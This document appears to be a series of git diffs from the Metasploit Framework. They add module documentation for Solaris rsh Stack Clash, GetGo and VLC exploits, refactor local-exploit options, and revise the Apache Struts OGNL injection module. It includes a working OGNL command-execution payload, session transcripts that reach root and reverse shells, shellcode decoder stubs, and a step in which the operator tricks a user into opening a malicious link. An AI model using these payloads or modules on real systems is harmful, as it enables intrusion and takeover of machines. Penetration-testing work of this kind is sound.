[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
[*] Command ran. Output from command:
b3d9b350d9b6
[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts_namespace_rce) >
msf5 exploit(multi/http/struts_namespace_ognl) >
```
Getting a Meterpreter session on the above-described environment:

View File

@ -0,0 +1,94 @@
## Description
This module exploits a vulnerability in RSH on unpatched Solaris
systems which allows users to gain root privileges.
The stack guard page on unpatched Solaris systems is of
insufficient size to prevent collisions between the stack
and heap memory, aka Stack Clash.
This module uploads and executes Qualys' Solaris_rsh.c exploit,
which exploits a vulnerability in RSH to bypass the stack guard
page to write to the stack and create a SUID root shell.
This module has offsets for Solaris versions 11.1 (x86) and
Solaris 11.3 (x86).
Exploitation will usually complete within a few minutes using
the default number of worker threads (10). Occasionally,
exploitation will fail. If the target system is vulnerable,
usually re-running the exploit will be successful.
## Vulnerable Application
This module has been tested successfully on:
* Solaris 11.1 (x86)
* Solaris 11.3 (x86)
## Verification Steps
1. Start `msfconsole`
2. Get a session
3. Do: `use exploit/solaris/local/rsh_stack_clash_priv_esc`
4. Do: `set SESSION [SESSION]`
5. Do: `run`
6. You should get a new *root* session
## Options
**SESSION**
Which session to use, which can be viewed with `sessions`.
**RSH_PATH**
Path to rsh executable. (default: `/usr/bin/rsh`)
**WORKERS**
Number of workers. (default: `10`)
## Scenarios
### Solaris 11.3 (x86)
```
msf5 > use exploit/solaris/local/rsh_stack_clash_priv_esc
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set session 1
session => 1
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > set rhost 172.16.191.221
rhost => 172.16.191.221
msf5 exploit(solaris/local/rsh_stack_clash_priv_esc) > run
[!] SESSION may not be compatible with this module.
[*] Using target: Solaris 11.3
[*] Writing '/tmp/.2yZgv2XkEj/.KJqSwhpguh.c' (10297 bytes) ...
[*] Symlinking /tmp/.2yZgv2XkEj/.KJqSwhpguh to /tmp/.2yZgv2XkEj/ROOT
[*] Creating suid root shell. This may take a while...
[*] Completed in 324.21s
[+] suid root shell created: /tmp/.2yZgv2XkEj/ROOT
[*] Writing '/tmp/.2yZgv2XkEj/.bWjzWVllCB' (109 bytes) ...
[*] Executing payload...
[*] Started bind TCP handler against 172.16.191.221:4444
[+] Deleted /tmp/.2yZgv2XkEj/.KJqSwhpguh.c
[+] Deleted /tmp/.2yZgv2XkEj/.KJqSwhpguh
[!] Tried to delete /tmp/.2yZgv2XkEj/ROOT, unknown result
[+] Deleted /tmp/.2yZgv2XkEj/.bWjzWVllCB
[+] Deleted /tmp/.2yZgv2XkEj
id
uid=0(root) gid=0(root) groups=10(staff)
uname -a
SunOS solaris 5.11 11.3 i86pc i386 i86pc
cat /etc/release
Oracle Solaris 11.3 X86
Copyright (c) 1983, 2015, Oracle and/or its affiliates. All rights reserved.
Assembled 06 October 2015
```

View File

@ -0,0 +1,30 @@
## Description
This modules adds a buffer overflow exploit for GetGo Download Manager, which supports
4.9.0.1982 and 5.3.0.2712. Versions prior should also be vulnerable.
This exploit has been tested on Windows XP SP3. The vulnerable software can be downloaded
at [GetGo Download Manager 5.3.0.2712](https://www.exploit-db.com/apps/b26d82eadef93531f8beafac6105ef13-GetGoDMSetup.exe)
To use this, first start the module like the following example:
```
msf5 exploit(windows/browser/getgodm_http_response_bof) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.0.12:4444
msf5 exploit(windows/browser/getgodm_http_response_bof) > [*] Using URL: http://0.0.0.0:8080/shakeitoff.mp3
[*] Local IP: http://192.168.0.12:8080/shakeitoff.mp3
[*] Server started.
```
The exploit should give you a fake link. Pass this link to the Getgo user, and instruct them to
do the following:
1. Start GetGo Download Manager
2. Click on the DOWNLOAD button
3. Click on New (if the link is already copied to the clipboard, clicking on this should trigger
the download, and get exploited).
4. If the link isn't in the clipboard, instruct the user to enter the URL in the URL field, and
click OK. The user should also get exploited this way.

View File

@ -0,0 +1,51 @@
## Description
VideoLAN VLC <= v2.2.8 (32 and 64 bit) are vulnerable to a use-after-free vulnerability that exists in the parsing of MKV files.
This module has been tested against 32 and 64 bit versions of VLC v2.2.8 on Windows 10 Pro x64.
## Vulnerable Application
[VLC](https://get.videolan.org/vlc/) <= v2.2.8
## Verification Steps
- `./msfconsole -q`
- `use exploit/windows/fileformat/vlc_mkv`
- `run`
- Start handler
- Copy over mkv files to target hosts and open part1 in VLC
- Set a shell
## Scenarios
### Windows 10 x64 running VLC 2.2.8 (x64)
```
msf5 > use exploit/windows/fileformat/vlc_mkv
msf5 exploit(windows/fileformat/vlc_mkv) > set lhost 172.22.222.134
lhost => 172.22.222.134
msf5 exploit(windows/fileformat/vlc_mkv) > run
[+] tjub-part1.mkv stored at /home/msfdev/.msf4/local/tjub-part1.mkv
[*] Created tjub-part1.mkv. Target should open this file
[+] tjub-part2.mkv stored at /home/msfdev/.msf4/local/tjub-part2.mkv
[*] Created tjub-part2.mkv. Put this file in the same directory as tjub-part1.mkv
[*] Appending blocks to tjub-part1.mkv
[+] Succesfully appended blocks to tjub-part1.mkv
msf5 exploit(windows/fileformat/vlc_mkv) > handler -p windows/x64/shell/reverse_tcp -H 172.22.222.134 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(windows/fileformat/vlc_mkv) >
[*] Started reverse TCP handler on 172.22.222.134:4444
[*] Sending stage (336 bytes) to 172.22.222.200
[*] Command shell session 2 opened (172.22.222.134:4444 -> 172.22.222.200:49731) at 2018-10-10 12:08:58 -0500
sessions -i 2
[*] Starting interaction with 2...
systeminfo
systeminfo
Host Name: DESKTOP-IPOGIJR
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.17134 N/A Build 17134
```

View File

@ -10,17 +10,18 @@ module Metasploit
# @return [String] The normalized code.
def self.normalize_code(code, headers)
code = code.lines.map { |line|
if line =~ /^\s*#include <([[:print:]]+)>$/
%Q|<%= headers.include('#{$1}') %>\n|
if line =~ /^\s#include <([[:print:]]+)>$/
h = headers.include("#{$1}")
%Q|#{h}\n|
else
line
end
}.join
ERB.new(code).result(binding)
code
end
end
end
end
end
end

View File

@ -16,7 +16,6 @@ class Msf::Author
# A hash that maps known author names to email addresses
KNOWN = {
'amaloteaux' => 'alex_maloteaux' + 0x40.chr + 'metasploit.com',
'anonymous' => 'Unknown',
'aushack' => 'patrick' + 0x40.chr + 'osisecurity.com.au',
'bannedit' => 'bannedit' + 0x40.chr + 'metasploit.com',
'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com',

View File

@ -48,10 +48,22 @@ class ValidationError < ArgumentError
end
end
###
#
# This exception is raised when the module cache is invalidated. It is
# handled internally by the ModuleManager.
# This exception is raised when a module fails to load.
#
# It is used by Msf::Modules::Loader::Base.
#
###
class ModuleLoadError < RuntimeError
end
###
#
# This exception is raised when the module cache is invalidated.
#
# It is handled internally by the ModuleManager.
#
###
class ModuleCacheInvalidated < RuntimeError

View File

@ -196,8 +196,12 @@ module Exploit::Remote::Tcp
end
def print_prefix
if rhost
super + peer + " - "
# Only inject a host/port prefix if we have exactly one entry.
# Otherwise we are logging in the global context where rhost can be any
# size (being an alias for rhosts), which is not very useful to insert into
# a single log line.
if rhost && rhost.split(' ').length == 1
super + peer + ' - '
else
super
end

View File

@ -362,17 +362,24 @@ class Msf::Modules::Loader::Base
# @return [nil] if any module name along the chain does not exist.
def current_module(module_names)
# Don't want to trigger ActiveSupport's const_missing, so can't use constantize.
named_module = module_names.inject(Object) { |parent, module_name|
named_module = module_names.reduce(Object) do |parent, module_name|
# Since we're searching parent namespaces first anyway, this is
# semantically equivalent to providing false for the 1.9-only
# "inherit" parameter to const_defined?. If we ever drop 1.8
# support, we can save a few cycles here by adding it back.
if parent.const_defined?(module_name)
parent.const_get(module_name)
else
break
begin
if parent.const_defined?(module_name)
parent.const_get(module_name)
else
break
end
# HACK: This doesn't slow load time as much as checking proactively
rescue NameError
reversed_name = self.class.reverse_relative_name(module_name)
# TODO: Consolidate this with Msftidy#check_snake_case_filename ?
raise Msf::ModuleLoadError, "#{reversed_name} must be lowercase alphanumeric snake case"
end
}
end
named_module
end
@ -522,7 +529,7 @@ class Msf::Modules::Loader::Base
# @return [String] The module full name
#
# @see namespace_module_names
def reverse_relative_name(relative_name)
def self.reverse_relative_name(relative_name)
relative_name.split('__').map(&:downcase).join('/')
end

View File

@ -90,8 +90,8 @@ class RPC_Session < RPC_Base
def rpc_shell_read( sid, ptr=nil)
s = _valid_session(sid,"shell")
begin
res = s.shell_read(data)
{ "write_count" => res.to_s}
res = s.shell_read()
{ "seq" => 0, "data" => res.to_s}
rescue ::Exception => e
error(500, "Session Disconnected: #{e.class} #{e}")
end

View File

@ -346,7 +346,7 @@ module Msf
'ref' => 'Modules with a matching ref',
'reference' => 'Modules with a matching reference',
'target' => 'Modules affecting this target',
'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, post, or nop)',
'type' => 'Modules of a specific type (exploit, payload, auxiliary, encoder, evasion, post, or nop)',
}.each_pair do |keyword, description|
print_line " #{keyword.ljust 12}: #{description}"
end
@ -513,8 +513,6 @@ module Msf
show_auxiliary
when 'post'
show_post
when 'evasion'
show_evasion
when 'info'
cmd_info(*args[1, args.length])
when 'options'
@ -539,7 +537,7 @@ module Msf
if (mod)
show_evasion_options(mod)
else
print_error("No module selected.")
show_evasion
end
when 'sessions'
if (active_module and active_module.respond_to?(:compatible_sessions))
@ -1022,8 +1020,8 @@ module Msf
end
end
def show_evasion(mod)
puts "Place holder for show_evasion"
def show_evasion(regex = nil, minrank = nil, opts = nil) # :nodoc:
show_module_set('evasion', framework.evasion, regex, minrank, opts)
end
def show_global_options

View File

@ -50,6 +50,7 @@ class Console::CommandDispatcher::Core
c = {
'?' => 'Help menu',
'background' => 'Backgrounds the current session',
'bg' => 'Alias for background',
'close' => 'Closes a channel',
'channel' => 'Displays information or control active channels',
'exit' => 'Terminate the meterpreter session',
@ -330,6 +331,9 @@ class Console::CommandDispatcher::Core
client.interacting = false
end
alias cmd_bg cmd_background
alias cmd_bg_help cmd_background_help
#
# Displays information about active channels
#

View File

@ -18,7 +18,7 @@ class MetasploitModule < Msf::Auxiliary
and SNMP read and read/write community strings to be retrieved without
authentication.
This module is the work of Patrick DeSantis of Cisco Talos K. Reid
This module is the work of Patrick DeSantis of Cisco Talos and K. Reid
Wightman.
Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,

View File

@ -31,21 +31,23 @@ class MetasploitModule < Msf::Encoder::Xor
if (modified_registers & saved_registers).length > 0
raise BadGenerateError
end
begin
decoder =
Rex::Arch::X86.set(
Rex::Arch::X86::ECX,
state.buf.length - 1,
state.badchars) +
"\xe8\xff\xff\xff" + # call $+4
"\xff\xc1" + # inc ecx
"\x5e" + # pop esi
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
"\xe2\xfa" # loop xor_loop
decoder =
Rex::Arch::X86.set(
Rex::Arch::X86::ECX,
state.buf.length - 1,
state.badchars) +
"\xe8\xff\xff\xff" + # call $+4
"\xff\xc1" + # inc ecx
"\x5e" + # pop esi
"\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl
"\xe2\xfa" # loop xor_loop
# Initialize the state context to 1
state.context = 1
# Initialize the state context to 1
state.context = 1
rescue RuntimeError => e
raise BadcharError if e.message == "No valid set instruction could be created!"
end
return decoder
end

View File

@ -42,7 +42,11 @@ class MetasploitModule < Msf::Encoder::NonAlpha
# payload.
#
def encode_block(state, block)
newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha::encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size)
begin
newchar, state.key, state.decoder_key_size = Rex::Encoder::NonAlpha::encode_byte(block.unpack('C')[0], state.key, state.decoder_key_size)
rescue RuntimeError => e
raise BadcharError if e.message == "BadChar"
end
return newchar
end

View File

@ -47,11 +47,11 @@ class MetasploitModule < Msf::Evasion
jsnet_encoded = Rex::Text.encode_base64(js_file)
# This is used in the ERB template
fname = Rex::Text.rand_text_alpha(6)
arch = ["x86", "x64"].include?(payload.arch.first) ? payload.arch.first : "anycpu"
hta_path = File.join(Msf::Config.data_directory, 'exploits', 'hta_evasion.hta')
hta = File.read(hta_path)
fail_with(Failure::NotFound, 'The HTA file was not found.') unless File.exists?(hta_path)
hta_file = ERB.new(hta).result(binding())
file_create(hta_file)
end
end

View File

@ -61,9 +61,11 @@ class MetasploitModule < Msf::Exploit::Local
register_options(
[
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
OptString.new('USERNAME', [ false, 'Username of new UID=0 user (default: random)', '' ])
])
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir

View File

@ -70,8 +70,10 @@ class MetasploitModule < Msf::Exploit::Local
))
register_options [
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '600' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -68,8 +68,10 @@ class MetasploitModule < Msf::Exploit::Local
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -65,10 +65,9 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://bazaar.launchpad.net/~apport-hackers/apport/trunk/revision/2943' ]
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir

View File

@ -90,7 +90,9 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -52,10 +52,9 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0,
}
))
register_options([
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp']),
])
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])
]
end
def check

View File

@ -78,11 +78,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3856' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
register_options [
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/bin/ping' ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir

View File

@ -69,11 +69,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
]
))
register_options(
[
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
register_options [
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir

View File

@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -44,9 +44,9 @@ class MetasploitModule < Msf::Exploit::Local
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'DefaultTarget' => 0))
register_options([
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
]
end
def base_dir

View File

@ -75,7 +75,9 @@ class MetasploitModule < Msf::Exploit::Local
))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ]),
OptString.new('PASSWORD', [ true, 'Password for the current user', '' ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -49,13 +49,14 @@ class MetasploitModule < Msf::Exploit::Local
[ 'URL', 'http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=ce683e5f9d045e5d67d1312a42b359cb2ab2a13c']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
])
register_options [
OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 180 ]),
OptBool.new('REEXPLOIT', [ true, 'desc already ran, no need to re-run, skip to running pwn',false]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end
def check

View File

@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Local
'PrependFork' => true
},
'DefaultTarget' => 0))
register_options [
register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

View File

@ -47,9 +47,9 @@ class MetasploitModule < Msf::Exploit::Local
'Privileged' => true
}
))
register_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def check

View File

@ -55,11 +55,12 @@ class MetasploitModule < Msf::Exploit::Local
[ 'CVE', '2015-8660']
]
))
register_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
])
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end
def check

View File

@ -54,11 +54,13 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Apr 01 2011"
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
])
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
]
end
def executable_path

View File

@ -61,8 +61,10 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -51,7 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end

View File

@ -66,9 +66,11 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => 'Aug 13 2009',
'DefaultTarget' => 0))
register_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
OptBool.new('DEBUG_EXPLOIT', [ true, "Make the exploit executable be verbose about what it's doing", false ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])
]
end
def base_dir

View File

@ -47,11 +47,12 @@ class MetasploitModule < Msf::Exploit::Local
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ]),
])
register_options [
OptString.new("clear_keys", [ true, "Path to the clear_keys.pl vulnerable script", "/opt/cma/bin/clear_keys.pl" ])
]
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
]
end
def check

View File

@ -50,10 +50,12 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Apr 16 2009",
}
))
register_options([
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]),
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ]),
])
register_options [
OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1. Meterpreter sessions will autodetect" ])
]
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
]
end
def exploit

View File

@ -67,7 +67,9 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Local
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true ))
register_options [
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end

View File

@ -51,9 +51,9 @@ class MetasploitModule < Msf::Exploit::Local
'DisclosureDate' => "Aug 22 2013"
}
))
register_options([
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
])
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ])
]
end
def check
@ -69,10 +69,10 @@ class MetasploitModule < Msf::Exploit::Local
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}")
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
# Delete it here instead of using FileDropper because the original
# session can clean it up
cmd_exec("rm -f #{lsb_path}")

View File

@ -36,11 +36,12 @@ class MetasploitModule < Msf::Exploit::Local
'DefaultTarget' => 0,
}
))
register_options([
# These are not OptPath becuase it's a *remote* path
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ]),
])
register_options [
OptString.new("zsudo", [ true, "Path to zsudo executable", "/etc/zpanel/panel/bin/zsudo" ])
]
register_advanced_options [
OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ])
]
end
def check

View File

@ -12,6 +12,8 @@ class MetasploitModule < Msf::Exploit::Remote
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
# NOTE: Debugging code has been stripped, but is available in the commit history: a9e625789175a4c4fdfc7092eedfaf376e4d648e
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
@ -20,11 +22,15 @@ class MetasploitModule < Msf::Exploit::Remote
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
via an endpoint that makes use of a redirect action.
Note that this exploit is dependant on the version of Tomcat running on
the target. Versions of Tomcat starting with 7.0.88 currently don't
support payloads larger than ~7.5kb. Windows Meterpreter sessions on
Tomcat >=7.0.88 are currently not supported.
Native payloads will be converted to executables and dropped in the
server's temp dir. If this fails, try a cmd/* payload, which won't
have to write to the disk.
},
#TODO: Is that second paragraph above still accurate?
'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
@ -67,7 +73,7 @@ class MetasploitModule < Msf::Exploit::Remote
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
OptBool.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
]
)
register_advanced_options(
@ -120,6 +126,8 @@ class MetasploitModule < Msf::Exploit::Remote
else
CheckCode::Safe
end
elsif resp.nil?
fail_with(Failure::Unreachable,"Target did not respond. Please double check RHOSTS and RPORT")
end
end
@ -140,7 +148,6 @@ class MetasploitModule < Msf::Exploit::Remote
# '\r' ends the GET request prematurely
# '\n' ends the GET request prematurely
# TODO: Make sure the following line is uncommented
bad_chars = %w[; \\ \r \n] # and maybe '/'
bad_chars.each do |c|
if ognl.include? c
@ -176,53 +183,38 @@ class MetasploitModule < Msf::Exploit::Remote
return ognl
end
def send_struts_request(ognl, payload: nil)
=begin #badchar-checking code
pre = ognl
=end
def send_struts_request(ognl, payload: nil, headers: nil)
ognl = "${#{ognl}}"
vprint_status("Submitted OGNL: #{ognl}")
ognl = encode_ognl(ognl)
headers = {'Keep-Alive': 'timeout=5, max=1000'}
if headers.nil?
headers = {'Keep-Alive': 'timeout=5, max=1000'}
end
if payload
vprint_status("Embedding payload of #{payload.length} bytes")
headers[datastore['HEADER']] = payload
end
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
# TODO: Consider embedding OGNL in an HTTP header to hide it from the Tomcat logs
uri = "/#{ognl}/#{datastore['ACTION']}"
resp = send_request_cgi(
r = send_request_cgi(
#'encode' => true, # this fails to encode '\', which is a problem for me
'uri' => uri,
'method' => datastore['HTTPMethod'],
'headers' => headers
)
if resp && resp.code == 404
if r && r.code == 404
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
end
=begin #badchar-checking code
print_status("Response code: #{resp.code}")
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
if resp.headers['Location']
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
if resp.headers['Location'].split('/')[1] == pre[1..-2]
print_good("GOT 'EM!")
else
print_error(" #{pre[1..-2]}")
end
end
=end
resp
return r
end
def profile_target
def send_profile
# Use OGNL to extract properties from the Java environment
properties = { 'os.name': nil, # e.g. 'Linux'
@ -281,14 +273,10 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
def profile_os
# Probe for the target OS and architecture
begin
properties = profile_target
properties = send_profile()
os = properties[:'os.name'].downcase
rescue
vprint_warning("Target profiling was unable to determine operating system")
@ -297,10 +285,20 @@ class MetasploitModule < Msf::Exploit::Remote
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
end
return os
end
if (os.include? 'linux') || (os.include? 'nix')
def execute_command(cmd_input, opts={})
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
if cmd_input.include? ';'
print_warning("WARNING: Command contains bad characters: semicolons (;).")
end
